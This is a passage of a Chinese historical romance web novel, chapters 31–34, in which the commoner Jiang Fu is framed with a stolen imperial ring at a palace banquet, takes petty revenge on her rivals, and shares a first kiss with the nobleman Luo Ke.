魏如因便歇了声息,闷闷低头。 “我错了?你哭什么?我给她道歉?” “……殿下、”沈听南捂着脸,靠着魏如因的肩膀痛哭出声。 魏如因冷凝着脸,任她依靠着。良久,眉目渐渐揉开,眼中带了悲戚- 丢人。 太丢人。 沈听南这个贱人,非跟她过不去。 不过也不能怪她,都是事实,沈听南来揭穿反而算是正义。 她自己是坏蛋。 “……” 房门响了几声。 “芙姐,芙姐,你不吃饭吗?” 又过了一会儿。 “芙姐,有好吃的烤肉哦!明哥哥烤的!特、别、好、吃!” 再过了一会儿。 “哥哥,你说句话给芙姐!” “……我说什么?” “你就说,芙姐,不吃饭会饿肚子睡不着觉!” “……” “说呀!” “芙、蒋娘子,不吃饭……会饿肚子……睡不着觉……” “哥,你大点声!” “我……” 蒋芙还是没出声。 到最后,月亮升到正空。 “芙姐,你是不是生沁儿的气啊。你这样,沁儿才是睡不着觉的那个……” 蒋芙披了衣服跑到门边,两手并用拉开门。 骆沁正对着她,眼睛已经有些湿润,像是要哭了,却在蒋芙露面的那一刻,还是努力笑。 “芙姐,你再不出来,沁儿就要在这站一夜了。” 蒋芙将她抱在怀里,小女孩像被夜挂了霜,冰凉的衣裳抱在怀里,激得她浑身僵硬了一瞬。 “我没怪你,我是今天又丢人了。” 骆沁疑惑抬脸:“不是怪我吗?” “我怪你干什么。” 蒋芙将她往屋里抱了抱,关上门,说了今天发生的事。 骆沁知道蒋芙没生她的气,立马硬气起来。 “她们凭什么那么对待你呀,你们又不认识,你怎么会跟她们说你喜欢谁!” “是她们自己背后议论哥哥,竟然还有脸欺负我芙姐!” 小女孩在屋里走来走去,是气得不行的模样,时不时偷瞄蒋芙一眼,像是有意给她这边说话,讲歪道理。 蒋芙心虚:“确实是我没告诉她们实情……她们没错……” “芙姐!你不要反思自己了!是她们自作主张跟你搭话,谁会第一次见面就跟别人说那么羞人的事,就算是哥哥知道也要看轻她们的!” 蒋芙为难地沉默。 骆沁气愤着气愤着,打了个哈欠,很自然地掀了蒋芙的被子躺上床。 “芙姐,我睡了,你也早点睡呀。” “……” 蒋芙肚子空旷,叫了一声。静谧的黑夜里分外明晰。 骆沁已然忘了那么执着等在门前是叫她吃饭的事了。 就是小孩子。 蒋芙稍微穿戴好出门,想找醒着的侍从要些冷食吃。 拐角处,骆岢拢着斗篷,坐在竹畔煮酒。 热酒香弥漫在空气之中,他似才沐浴过,参差不齐的长发在月下映着光滑的润泽。有风经过,竹枝摇曳,影随之成林。 蒋芙借此闻到了扑面而来的兰香,十分浓郁,十分令人头晕。 她才用手捏上鼻子,骆岢便回过头来。 像是心有所感,他脸色一黑,轻轻点头算作打招呼,再不理她。 蒋芙也不自讨没趣,她才在他的事上吃亏,如今看到他都嫌晦气,更别提与他寒暄了。 但事不随人愿,蒋芙逛了一圈回来,也没见到值夜的人。她不知厨房在哪,似乎这天夜里,她就是吃不上饭的命。 她拖着步子往回走,骆岢还在那片竹子下煮酒,只是他旁边多放了一张坐垫,一套杯具,一叠点心。 这么装模作样,不会是要和沈听南喝酒吧…… 她不由自主加快脚步。 “蒋芙。” 骆岢第一次叫了她的名字。 30-40 第31章 第 31 章 秋夜他情。 蒋芙愣了一下, 回头,表情像是“你在叫我”几个字写在脸上。 很清白的眸光,并无任何暧昧示意,但酒没有提上来的热意此刻在她的注视下接连不断流淌出来。 这是怎么了。他仓促垂下眸子, 复又抬起:“你没吃晚饭, 要来一杯吗?” 蒋芙盯了盯他的小食案, 被那盘雪白的点心驱使, 她没迈动离开的步子, 坐到了他摆放的那张墨绿垫子上。 “公子好雅兴,怎么一人在月下煮酒?” 骆岢伸手拨了一下炭:“天气寒凉, 附庸风雅。娘子倒是,白日发生了何事,以至于没有去用晚膳?” 蒋芙会对他说才怪,反正之后他也会从别的地方知情。 她用拿点心挡住回话的口子,只是酒器里弥漫的浓郁兰花香过分熏人,闻着犯恶心。 勉强将点心咽下,她道:“公子,这酒里放了什么,怎么这么香?” 骆岢冷道:“不好闻吗?” 蒋芙实话实说:“太浓了。” 还能想起吃人手短, 她很给面子地奉承:“一定有像公子一样的人喜欢这种香味, 比如沈听南, 我不习惯,是我为人粗俗, 闻不得好香。” 骆岢将头低了低:“一点都闻不得吗?” “说实话,有点想吐。” “……” 被大齐诸多少女吹捧的公子岢此刻叹息一声,像是遗憾,也像是其他郁闷的情绪。 是因为她闻不得他喜欢的香? 蒋芙的心湖骤然波动了一下。不知是不是错觉, 她总觉得骆岢好像不太对劲。 她将视线落在月光下竹影隐隐绰绰摇动的侧脸上很久,开口:“你是何人?” 骆岢浑身一僵,转眸过来,有些懵懂。 “破绽太多,真的骆岢不是这样的,你最好从实招来,你把骆岢公子换到哪去了!” 骆岢疑惑:“蒋芙……” 蒋芙道:“他不会叫我名字,那人自持身份,叫我蒋娘子。他也不会这么好心在我饿肚子的时候准备点心和热酒。” “你们什么时候交换的身份?”蒋芙冷笑,“是从金府出来以后吧,我就说他明明还看不惯我不感恩沈听南的事,怎么第二次见面就像忘了那些似的,温温柔柔往我身边凑,原来是换了人。” 蒋芙又塞了块点心进嘴,拍了拍手:“我劝你别想着灭我的口,我可是有人在暗处守命的。我不管你的事,你爱怎么样怎么样,别害了我就行。” 她站起身,忽视身后骆岢脸色忽红忽白大步往住处走。 进了屋,暖意笼上脸颊,蒋芙才有了做表情的闲心。 她刚刚说了大话,张闵今天又被她放出去玩了,没有人在暗中保护她的安全。 骆岢这段时间就怪怪的,如果不是换了人,就是喜欢上了她。 他那种人怎么可能喜欢上自己,蒋芙几乎当场就识破了这场阴谋。这段时间她决定离骆岢远点,也要 带骆沁离他远点,省得最后东窗事发连累她们。 月影之下,骆岢脑中不断回荡着蒋芙说的话。 她说他自持身份,不叫她名字,还说他从金府出来就对她温温柔柔,往她身边凑。 是这样吗?他的变化已经到让她觉得变了一个人吗? 他变了吗? 骆岢震荡之余,有了几分微薄的愤怒。风一吹,这点愤怒就散了,他控制不住得脸热。 她能感觉到,他也是。 他、他好像…… 第二日,魏琪决定摆驾回宫,随行的侍从、卫队、官员及家属都开始筹备回宫事宜,这是在华清宫留宿的最后一日。 魏如因设宴款待女宾。 蒋芙本不想去,但魏如因点名要她来,她不得不硬着头皮出现在那些仇视她的女生面前。 似乎短短一夜,她们就已经打听清楚蒋芙的全部底细,没有了前日的惊慌。区区主簿的女儿,爹死了,连官身都不是,就算做妾洛郡公都不一定同意,别说与公子两情相悦了,说出去就是个笑话。 “你说她是怎么想的,怎么会在那么多人的时候跟公子陈情?” “我要是公子,都丢死人了。” “所以说公子多有涵养,那般窘迫还能保持风度,将她体体面面拒绝了。” 她们可着骆沁被沈听南找去聊天的空隙说话排挤她。 蒋芙无聊拄腮,已经经历过一次的事,第二次发生时就觉得可以忍受了。 有什么不能的,动脑筋措辞的又不是她。 正想着乱七八糟的事:公子换人,该不该告诉公女? 那日挨着蒋芙坐的女生就故意踢了她桌案一下,力气不小,将点心碟子和茶杯都踢翻了。 “啊!” 蒋芙被吓得站了起来,怒视那女子:“你——” 声音停留在这,不能往前。 不知名姓,但知道被这么多人簇拥着的贵女,身份一定比公主差不了多少,她得罪不起。 真是可笑,在场这么多人,随便一个过来打她一下,她都得咬牙忍着。 她怀念起了洛郡的崔元香。虽然那女孩打人很疼,又喜欢捧沈听南的臭脚,但为人光明磊落,地方的氏族千金,在她这闹了别扭从来不让长辈出面施压,每一次打架都是自己上的。 女子们冷笑着离开了蒋芙的席位,宫女沉默给她收拾,很快抬了干净的桌案餐食过来。 蒋芙瞅着仿佛什么都没发生过的位子,心里忽然生出倦怠的恨意。 怎么她们就那么不好惹呢。 怎么她永远都不如人。 投胎就那么重要吗? 她怎么能在君主制的王朝思考投胎重不重要? 她应该完全将尊严抛在脑后才对,她这辈子注定要跪着活了,谁让她不姓魏! 骆沁结束了与沈听南的闲聊,哼着歌回来,见蒋芙一脸阴郁,小心翼翼道:“芙姐?哪里不开心啦?” 蒋芙于是又心生了挫败之感。她怎么总在骆沁面前生气。 她不想在骆沁心里是一个脾气不好、动不动就生气的姐姐。 “哪有,我就长这样,不笑的时候像不开心。” 骆沁想说才不是,芙姐明明长得干净又无辜,第一眼看就觉得是好人。但见蒋芙努力掩饰,她便也退在分寸之外,没有再问。 她有意挑蒋芙感兴趣的话题讲:“芙姐,今天哥哥有点怪怪的。” 蒋芙想起了骆岢还有身份不明的替身这回事。 她郑重嘱咐:“感觉他奇怪的时候一定要离他远点,小心被他发现误伤你。” 骆沁惊讶一瞬,捂着嘴笑:“才不会呢,我哥哥是最温柔的人,最凶的时候也就是板起脸骂人……像这样!” 她将嫩白的小脸严肃起来,学兄长训人:“骆沁!你太让我失望了,你是我的妹妹吗?你对得起父亲吗?” 蒋芙愣了一下,脸颊旁陷入笑窝。 倒不是骆岢这样子有多好笑,而是她感受到了骆沁在哄她。 好久没人哄她了,好久好久了。 这个小姑娘是世界上除了母亲和张闵以外,对她第三好的人。 想到以后要离开她,她好舍不得。 蒋芙一笑,骆沁的心便安了下来,将哥哥望着芙姐房间的方向发呆叹气的事给忘到脑后了。 魏如因喊了影戏匠来表演皮影。蒋芙的角度只能看见匠人拿小棍动来动去,看不出什么剧情。 骆沁则被魏如因特别叫去了身边坐着观赏。 蒋芙一边吃东西,一边假装在看。 一声尖叫打断了皮影戏的演出。 魏如因看得入神,被她干扰有些不悦。 “茄娘,何事?” 茄娘便是那日挨着蒋芙坐的那位贵女,也是今天主动找茬的那个人。 茄娘一脸假的要死的恐惧,走到魏如因面前跪下:“启禀公主殿下,臣女的戒指不见了,那是御赐的宝物,臣女居然弄丢了!” 魏如因听到御赐的东西,不当回事的神色渐渐收敛了起来。 “怎么会丢,叫你身边的丫头仔细找找。” “殿下,臣女身边的翠竹说进殿之前还在臣女手上看见过的!戒指一定还在这长生殿里,求公主看在父亲和哥哥的面子上帮臣女找找……” 不知怎么,蒋芙忽然福至心灵,在自己身上摸了摸。 不能怪她多心,这事出的太蹊跷,她和茄娘又才有矛盾,说不定她就做了什么手脚。 果不其然,蒋芙在摸坐垫时按到硬物,从下面掏出来一看,是个戒指。 绞丝翡翠金戒,御赐的漂亮宝物。 蒋芙摸在手里犹豫了一秒,到底没有扔到别人的地方置身事外,害无辜之人被怀疑。 她举手出席。 “殿下,我在桌案附近发现了一个戒指。” 众目睽睽之下,蒋芙慢条斯理下跪。 她不是很情愿跪,茄娘是吧?贱人!居然想拿御赐的宝贝陷害她,她是真的想要她的命。 蒋芙此举出乎茄娘意料,不过也只是短暂愣怔,她很快质问:“戒指怎会在蒋娘子那里,莫不是娘子见宝私藏,听见我求公主搜寻心虚,不打自招了吧?” 都欺负到害人性命的地步了,她再退让就太窝囊了。 蒋芙嘴角扬起,勾起讥讽的微笑。 这是骆沁等后认识蒋芙的人所陌生的,沈听南最熟悉的蒋芙的表情。 她最近老实得不像她,沈听南还以为她彻底变了,没想到在危及性命的时刻,她还是会变回最原本的她。 “不是茄子娘你先踢的我桌子,然后丢的戒指吗?” 茄娘眼睛瞪大,感到不可思议:“你叫我什么?” 蒋芙笑着将戒指扔还给她:“娘子连自己叫什么都记不得了?和掉戒指一样,忘性真大。” 第32章 第 32 章 她的报复。 “你不要命了!敢这么叫我!” “我若是不要命, 刚刚就不会在坐垫下面摸到这个!你好恶毒的心思,竟然拿御赐的宝贝陷害我?” “空口无凭,我还没说你偷盗御赐的宝物,你倒恶人先告状了起来!” “天地明鉴, 我可没说娘子是恶人, 也许你只是欺负我的时候无心把戒指弄掉了!” “谁欺负你了!你问问谁看见我欺负你了!” “茄娘子身份高贵, 有谁敢看见?若是换成问谁看见我摸娘子手, 从你手上把戒指摸下来, 应该一抓一大堆吧!” 她们吵得不可开交。魏如因揉了揉额角,叫几个宫女询问实情, 那些人捡了蒋芙台阶似的,都统一了口径说是蒋芙从茄娘身上偷的戒指,她们亲眼所见。 在茄娘露出得意神色时,魏如因面无表情把这些宫女都拉下去处死了。 是的,处死。 蒋芙震惊抬头。 魏如因感受到她的视线,却没生出什么恻隐之心。 “我身边的人,什么时候也能被收买了?” 方才还热闹的长生殿上下一片寂静。 魏如因与沈听南交好多年,算是了解蒋芙,她那种愚蠢的人不好财色, 好真情, 污蔑她与人通奸她或许信几分, 说她偷东西还收买宫人,这就是不把魏如因放在眼里了。 她是公主, 不是她们利用 发泄愤怒的工具。 茄娘面色惨白,跪在地上再不说话。 魏如因却又开口:“蒋芙,好大的胆子,手在本公主面前也这么不老实, 那可是御赐的东西!” 她拍了桌案,瓷器一蹦一跳,声音响的渗人。 蒋芙往下压了压身,不理解怎么危机又转回她这里了。 她硬着头皮道:“我没有偷,我根本不知道她戴了那个戒指,请公主明鉴!” 魏如因道:“你是说,中书崔相的女儿在污蔑你一个连官身都没有的平民?” 蒋芙的拳头在衣袖覆盖之下攥紧,“不行吗?” 魏如因道:“她犯不上,你只是一个贱民。” 蒋芙猛地抬头,魏如因坐在上位,距离遥远,光影相隔,有些看不清她的面貌。 愣怔片刻,她笑了,朝着茄娘道:“崔娘子,听见了吗?你本不必大费周章害我,还是太善良了,想发落一个贱民,用不着费这么多心思!” 魏如因身侧随行的女官怒喝:“贱民!竟敢在公主面前无礼!来人!速速将她逐出华清宫!” 蒋芙堪称快意了:“好啊!那就把我逐出华清宫吧!” 她一点都不想在这里待着了。她最开始就没想在这待过,是他们的人死活不放她走。 气氛紧绷之际,骆沁从魏如因身侧站起身,走到蒋芙身边下跪。 “殿下,蒋芙是受陛下恩惠留在华清宫与我哥哥相伴的,她是我哥哥的朋友。我哥哥是什么样的人物,殿下应该清楚,他的朋友绝不会是崔茄娘所说手脚不干净之人!今日她们如此污蔑我芙……如此污蔑蒋芙,委实是不给我哥哥面子,不给洛郡公府面子。事情尚未调查清楚,就要将蒋芙逐出华清宫,她们是想违抗天子的命令吗?” 魏如因以一种复杂的眼神注视骆沁。 身边看着长大的小女孩,如今也是能独当一面、保护身边人的贵族娘子了。 本该为她感到开心的,只可惜,她站在了蒋芙那边,有些碍眼。 魏如因道:“今日之事太不体面,就此算了,我也累了,不想再为这些腌臜事烦心。都回去吧,我要休息了。” 在座之人纷纷行礼。 魏如因走了,沈听南走到骆沁身边拍拍她的后背,没有看蒋芙一眼,紧随公主身后。 蒋芙从地上站起身,手揉膝盖,还在气头上。 骆沁扣住她手,沉着脸指崔茄娘:“芙姐,你那会儿不开心,是不是因为她欺负你?” 崔茄娘被骆沁直白站在对立面讨厌,十分心慌,那可是她日夜肖想之人的妹妹:“小沁,我没有!” “住口!芙姐不会撒谎!这一次公主在场,我可以息事宁人,再不许有第二次!” 她愤愤拉着蒋芙往外走,一直到住处都不曾松开。 还是蒋芙拉了她一下,才将她唤醒一般。 “芙姐……” 骆沁明亮干净的双眸里蓄了一层泪。蒋芙知道她是因为在公主面前发脾气害怕了,再怎么样,她也还是个天真烂漫的孩子。 她怎么就沦落到要靠一个孩子庇护了呢。 蒋芙伸手将骆沁抱住,头抵在她的肩膀上:“谢谢你呀,沁儿。这次麻烦你了,以后我会小心不拖累到你的。” 骆沁颤动一下:“芙姐!我绝非此意!我是怕你伤心!我!” 蒋芙将她抱得紧些:“我知道。” “……” “放心好了,姐姐会报复她们的。” 蒋芙眼中一点点凝聚冷冽的光,魏如因便算了,虽然她也一样贱,但人在屋檐下不得不低头。 那个崔茄娘,等着。 此仇不报,她就不是蒋芙。 女眷这边发生的龃龉并没有很大范围的影响,天子秋狩声势浩荡地收了尾,回程路上一派皇家威仪,风平浪静。 蒋芙这次没纠缠白明旭问能不能离开的事,她淡然站在骆沁身边,端起了公女伴读的风范,目不斜视。 白明旭戳了戳骆岢的肩膀:“蒋娘子怎么了,瞧她好吓人。” 他如此关注蒋芙,令骆岢微微烦躁。 蒋芙哪里可怕,明明还是平常的样子。 白明旭往骆岢身后躲了下:“哇!她看过来了!” 骆岢迎上蒋芙的目光,不由得恍惚一瞬。 她看过来了。 他匆忙避开视线,但余光一直在瞥她。 他知道她越来越近,朝他走来,她今天穿的是他派人送过去的云头履,托着曳地的裙摆。 兀自陷入紧张的骆岢,根本感受不到这时蒋芙的可怖。 白明旭察觉到他不对劲,刚想说什么,就见蒋芙微笑着一把拉住骆岢的手。 “公子,我们要去长安了。” 白明旭:“……” 周围的人:“……” 扶魏如因上马车的沈听南:“……” 刚好转头目睹的魏如因:“……” 骆岢红透了脸,惊着看她:“……蒋、” 他反应过来有许多人盯着他们,一时窘迫,想将手从她那边抽出来。 甜意与苦涩并存。 他想,蒋芙是不是还以为他不是他,是什么别的什么人,才会这样亲密对他? 不是他,也可以吗? 还是只有不是他,才可以? 又起了风,将他的心吹得更乱。 蒋芙将他的手握紧,全部注意力都放在崔茄娘那边。 崔茄娘在看到骆岢的时候就像丢了魂似的,此刻,她梦中情人的手被她蒋芙给牵到手里了。 蒋芙慢悠悠把他的手抬起到更显眼的位置,细嫩温凉的皮肤摸着手感很好。 她说:“挣扎什么,公子?牵过那么多次手,你不认我,它都认了。” 她看起来好坏。 她一定居心不良。 可是骆岢愈发面红耳赤,渐渐的,手指微动,覆在她的手背上。 蒋芙丝毫没有意识到这代表了什么。 她颇为自得看向崔茄娘和她身后那些女子,不出意外在她们眼中品出愤怒和受伤。 以为到此为止了吗,以为这都是她为难骆岢装出的假象吗? 她们心里喜欢却不敢说出口、为之宁害无辜性命的人,那个人可是在心里犯贱喜欢她呢。 骆岢真心喜欢自己,那晚后蒋芙便清楚知道了。 骆沁作为他的亲生妹妹,都没有发现任何异样,这就说明他就是本尊,才不是什么人假扮。 他那么怪,不是假的,就是真喜欢她。 答案显而易见。 蒋芙对他喜欢自己这事没什么感觉,平常相安无事的时候,她会发善心,考虑躲一躲,不让他白白浪费感情。 但在刚因为他倒霉过的现在,她决定对他无赖一点。 这人这辈子没吃过苦,凭什么?一定就是在这等着被她糟蹋呢。 他和她相识就是因一时意气而起的孽缘。 就造孽下去吧。 蒋芙拉他手晃:“公子跟我和沁儿坐马车如何?” 骆岢红着脸点头,顺从地跟着她上了马车。 一上马车,遮挡住了别人的视线,蒋芙便把骆岢的手松开了。 骆沁期待的眼神熄灭:“芙姐?” 蒋芙道:“这是报复,让她们回去难受吧。” “我也就这点能耐对付她们了,不过效果应该很猛。” 骆沁示意她看看骆岢的脸色,才坐下的身子又挪起了:“我去找听南姐!” 她跑得很快。 蒋芙向后靠车壁,抱手:“你怎么?和我牵手不高兴?不是喜欢我?” 骆岢缓慢地面朝她,声音隐隐颤抖:“报复?” 蒋芙三言两语把这两天发生的事复述了一遍。 “我很生气,就这么做了。” 骆岢绷着脸,愤怒已经明摆上了台面:“你生气就做了?为何?为何你从不考虑我愿不愿?” 蒋芙自知理亏,低声道:“因为你喜欢我,所以我觉得我怎么对你都是应该的。你难道不喜欢我吗?” 骆岢冷道:“就算喜欢你,也没什么应该。蒋娘子,这马车你自己坐吧,恕不奉陪。” 蒋芙扯他袖子,顿了一下,转为握他手。 “别下去,你喜欢我,她们欺负我你都不管吗?” “骆岢!” 他回头,这次红的是眼眶。 “那你喜欢我吗?” 第33章 第 33 章 初次亲吻。 蒋芙盯着他泫然欲泣的脸, 虽心有负罪,但还是觉得实话实说对彼此更好。 “我为什么要喜欢你?” 骆岢想过她会否认,也幻想过她对他笑一笑,说其实一直都是喜欢他才在他身边。种种情境, 他从未想过蒋芙会反问他, 为什么要喜欢? 是啊, 她为何要喜欢他? 趁着把他问老实的功夫, 蒋芙将他拽坐在身边, 没松手,怕等下他回过神来又要跑。 “你是长得不错, 你家门第也高,你还似乎有文学上的造诣,可是,我对这些全不感兴趣。我为什么要喜欢你呢?” 骆岢的手动了动,掩饰低头,滚热的泪落在腕上。 蒋芙还在说,她想到了更可笑的地方:“而且你怎么会喜欢我呢?我觉得我对你态度很差,我那么欺负你了,你不会以为我是喜欢你才欺负你吧?” “我没有那么自负, 不至于误解蒋娘子的心意。” 他闷声说, 鼻音有些重。 并且, 骆岢不觉得蒋芙有欺负过他。她只是对他说一些难听的话而已,她不就是嘴巴很毒的人吗? 至于心悦于她的原因, 他也曾迷茫过为何是她? 既成事实,再回忆就进入了情人的眼中。 骆岢想起很遥远的一次,郡公府筹备赏荷筵宴接待公主,他被父亲叫去露面, 那时他就见到蒋芙。 若非命中注定,筵宴上那么多女眷,他为什么偏偏只与她目成? 后来她在人前对他告白。 骆岢想,如果那时候答应她好了。 虽然她是为了不想嫁给金无尽才借了他的名声去顶,但在天子面前,他若应下,她无论如何也要像她说的那样嫁给他。 可惜那时他还不认识她,不知晓她。 她过去骂他,每句话骂得都是对的,是他内心深处所认同的。 她毫不留情地揭穿,将他隔在外面的纱帘撕碎,暴露出最真实、最恶劣的本我。 别人见了会被吓跑的样子,她视之如常。 怎能不让他有期待? 或许真如她所说,他是个虚伪的人,不然为什么要在这种时候哭给她看? 他清楚自己的相貌,懂得怎样能将优势发挥到极致。 在蒋芙眼中,骆岢此刻哭红了眼尾,变成了琉璃灯一样脆弱美丽的人。 她几乎没见过人哭,更不用说像他这么好看的男人。被他用一双泪眼瞧着,纵然铁石心肠,也挨不过良心。 “别哭了,这次你帮我,我可以答应你一个条件。往后想让我为你做什么,你尽管提。” 这话她是说着客套的。骆岢这种人,能有什么忙要她帮? 等真有什么大事需要她的时候,人都走了,她不信皇帝的人会一直关着他们。 天子留她与张闵在这里,名义上是成全骆岢友人同游,实际上就是为白明旭留长安打掩护。她这几天就想明白了。 而他们的事总有办完的那天。到那时,她就走吧,走得远远的,再也不要回来见他们这些人了。 “尽管提?” 蒋芙将目光错开,她不太适应光风霁月的公子露出这种示弱的姿容。 随即眉头一皱,想他是不是在有意勾引自己。 应该不会。 “你……尽管提。” 骆岢于是道:“那娘子便嫁我吧。我会明媒正娶,聘礼都随你挑,想要什么都可以,我都给你。” 蒋芙:“什么?” 她握着他的手被反过来摸了摸,骆岢像是重新点燃了希望,泪水濡湿的睫毛抖了抖:“我想你嫁我。” 蒋芙一下把手抽出来,表情诧异里带着嫌弃:“我看你是疯了!” 疯了? 骆岢低笑一瞬,泪又滴滴答答往下落。 蒋芙语气郑重:“公子,冷静!你并不是真的喜欢我。你会有这种错觉,纯粹是你没接触过其他女子,其他女子也没像我这样得寸进尺!大家都捧着你,只有我逆着你,讨厌你,骂你,你因此对我印象深刻,在心里把我和别人做了区别。但这怎么可能是喜欢?你喜欢一个人,一定是要有欲望想要这个人的什么!而我无财无色,你……” 骆岢垂眸:“是你说答应我条件的,你不守信吗?” 他声音暗哑,每一个音节都像在水里浸泡过,讲话湿漉漉的,令人不自觉想要怜惜。 蒋芙一时不知如何自处,被他紧逼着,耳后也逐渐蒸腾起了热气。 然后她想到办法:“骆岢公子,你说别人要是知道你在我面前这副样子,会怎么想?” 骆岢愣了一下,自语道:“你不会告诉别人的。” 蒋芙终于找回了底气,挺直腰板:“你以为你很了解我吗?” 骆岢沉默。 蒋芙放下鱼钩,引导他:“你还有换要求的机会。” 骆岢也不掉眼泪了,立即道:“我换,你还是什么都答应吗?” 蒋芙道:“只要你不让我嫁给你。” 骆岢眸子黑漆漆看她:“那我要你坐在我身上亲我。” “……?” 马车陷入诡异的静谧。 蒋芙与他对视,良久,撑着硬邦邦的脸笑了一下:“你没事?” “你不是看着别的小娘子被雨淋都不肯把伞借出去的人吗?你要亲我?” “嗯,想亲。”他极其淡定。 蒋芙有些怀疑他是不是在玩什么破窗效应,先提出一个她绝对抗拒的,再提出一个稍缓和的。 “你想好,我亲你,可是我占便宜。” 骆岢不看她,催促:“你考虑好了吗?” 他们聊了太久,马车要停下歇息了。 蒋芙没再犹豫,扶他肩膀起身,像之前那次帮他掩饰喉结时那样跨坐在他腿上。 她能感觉到,两人接触的瞬间,骆岢身体僵了一下。 他是真的很香,淡淡的兰香,天气转凉,他身上反而暖融融的。怎么会有人冬暖夏凉呢? 蒋芙用手摸他的脸,有点不好意思下嘴。 他这是什么要求?想亲她为什么不主动来亲,非要让她坐着亲? 他喜欢被动的感觉? 变态。 就当亲一个雕塑了,她不吃亏。 蒋芙偏了偏头,凑近,到底没能印上去嘴唇。 她心里有障碍,谁能无缘无故亲一个没感情的人? 骆岢已经近距离盯她许久,细致描摹她尚且稚嫩的眉眼。 她今日敷了粉,抹了口脂,身上散发着令人神往的甜香。 她吃了点心。 “芙芙。” “……别这么叫我!” 蒋芙耳根蔓延一阵酥麻的热感。原本宽敞的车厢突然变得狭窄,每颠簸一次,她的头顶就要擦到马车的顶棚。 还是快亲吧。 蒋芙狠了狠心,压身吻他侧脸。吻过,分开盯他。 她知道这样不合格,他要的不是这个。 在他深深的注视下,她到底还是贴上了他的唇。 短暂触碰,她收尾拉开距离,坐到了车厢的另一端。 现在郁闷的人换成了她。 怎么就那么听话亲了呢? 完全可以抵赖,不认那些话的!他那么好欺负,她又不是不知道! 都怪崔茄娘! 马车行速放慢,快要到目的地。 骆岢问:“我仪表可有异常?” 蒋芙扫他一眼,除了眼睛微微发红外,与平常并无差别。 就是他那身贵得要死的青竹襕衫被她坐出了褶皱,他轻蹙眉头,试图将它抻平。 蒋芙心道活该。 她摸摸自己的发髻,构思等会儿出马车以什么表情露面对崔茄娘杀伤力最大。 不对,骆岢的马车肯定是回他的住处,她也许碰不到崔茄娘了。 骆岢抬手抚她唇:“口脂掉了。” 蒋芙才想起她涂了口脂。 “很明显,会被人识破的。” “没人看我。” 不知怎的,她 懂了他的言外之意。 “没亲够?” 骆岢已经近在咫尺:“蒋娘子,不要说出来。” 她就说怎么贴一下就安分了,原来是在那想理由呢。 “我不用你帮我吃口脂,我自己会吃。” “……” 他听话地后退了,神情委屈而悲伤。 蒋芙起了逗弄的心思。 “倘若公子求我,求得我心情好了,说不定我会同意呢?” 她以为会看到他悲愤的表情,至少是闹脾气拒绝。 没有。 他早已经豁出去了。 “怎么求?” 马车停稳,车外侍从来叫。 “公子,已到府邸。” “公子?” 蒋芙咬了他一下。 再不下车,被人拉开帘子看,他就等着羞愤而死吧。 骆岢松口,捧着她脸最后吻了下眼皮,回应外面。 “你们先下去。” “是。” 车厢内,他仔细用手帕将蒋芙脸上晕染的口脂擦干净,双眸饱含情意看她:“好了。” 蒋芙很不自在:“我先走了。” 她掀帘蹦下车,不等人回复,快步离开郡公府在长安的府邸,从深巷转角。 她叫:“张闵?” 无人应答。 近一段时间,张闵像是和白明旭混熟了,一起忙着什么事,总不在她身边。 独自在墙角蹲了一会儿,蒋芙到底还是原路返回,进了骆府。 这的家丁对她去而复返也不意外,周到地派人带她去房间。 骆沁早早候在里面,她双颊通红,看到蒋芙时眼睛亮了起来。 “芙姐!芙姐你和哥哥怎样了?我看他回来时很开心,你们说开了吗?” 在骆沁心里,蒋芙是守得云开见月明,终于与骆岢两情相悦了。她正为她高兴呢。 第34章 第 34 章 是夜缭乱。 不止骆沁, 也许所有人都这样认为:蒋芙得逞了。 她曾经说过,她非常喜欢骆岢,就是喜欢骆岢,非骆岢不可。如果不能嫁给他, 她就出家为尼。 是不是说得太有诚心了?现在连上天都想要成全她。 上天如果再耐心一点, 听到的不是她说出的话, 而是她内心的声音就好了。 她最想要实现的不是这个。她不太喜欢骆岢。 之所以用“不太”, 是因为她觉得骆岢还是有点可取之处的。 比如他长得很好, 每天收拾得干干净净、漂漂亮亮,连嘴巴里都是沁甜的清香。 比如他好像还莫名其妙地喜欢她。 没有女人会拒绝这种条件的男人。 但若是考虑接受, 又会让蒋芙心底感到排斥。 她不喜欢那种属于某个人的感觉。 她今天亲了他,就算没说什么在一起的话,他们之间还能像之前那样毫无瓜葛了吗? 由于内心非比寻常的复杂,蒋芙无法回应骆沁天真纯粹的笑容。 事到如今,她就像故事里良心发现的反派一样,反思自己是不是做错了。 她那时候没有理智,母亲刚死,她恨世界上所有幸福的人。几乎没有多想,就拉骆岢下了水。 但她只是说了那些话而已, 那些表白的话能起到什么作用, 他应该听到耳朵磨出茧子才对。 除此之外, 她没有做任何对他好的事。不仅如此,她私下还贬低他, 讽刺他,正常人不可能因此产生感情。如果是蒋芙自己遭遇了这些,她只会恨这个人。 恨。 脑海里出现这个字,她终于轻松了一些。 就是恨。说不定骆岢只是装作喜欢她, 实际上是用感情报复她呢。不是常有这种桥段吗?先对她示好,等骗到她的真心时再变一副面孔将她狠狠践踏一顿。 一定是这样。 他一定恨她,才跟她装模作样的。 无论家世还是姿色,她与骆岢在外人眼里都极其不般配。 他们之间发生的事,就像是底层人被生活踩在脚底死前的终极幻想。 她要是真信了,才叫可笑。 骆沁见蒋芙脸色愈发寒凉,不自觉握她的手:“芙姐……你……” 蒋芙回过神,岔开话题:“沁儿,这几天可见到你的意中人啦?” 骆沁懵了下:“嗯?” “哦!见啦,见啦。” “你们说上话了吗?” “没,我们隔得很远,哥哥又在,我不方便和他说话。”骆沁低了低头,笑意将耳廓舒展,珍珠耳坠摇摇晃晃。 “不过,我只要看着他就很开心啦。” 蒋芙不自觉也跟着笑。 小女孩的喜欢还停留在追随目光的阶段,可真好。 用过晚膳,蒋芙把骆沁劝回去睡觉,独自坐在窗前等张闵。 她觉得心口很空,有些慌慌的。 张闵在她告白以后就不怎么管她的事,整日见不到影子。明明答应过会陪在身边保护她。 骆岢那边又像是引诱她堕落的漩涡,仿佛有一股吸力驱使她放下防备沉沦于他。 如此处境,她没有能依靠的人,在世上是最单薄的一个,随时都能消失,留不下一丝痕迹。 她知道不能依靠别人。 她也许等不回张闵了。 正要关窗,蒋芙就见不远处,骆岢披着月色,一袭白衣走来。 他身姿高挑,半束着头发,参差不齐的头发用发冠挡住了,耳后垂下红带。 玉面红唇,发丝在肩头飞扬。夜风将他外层的纱衣吹得微微飘起,提灯走来,像九天的仙子降临人世。 这样一个大美人,沐浴熏香后来找自己。 才筑起的心防又隐隐有倒塌的趋势。 蒋芙不太愉快地质问自己,就这么没出息吗? 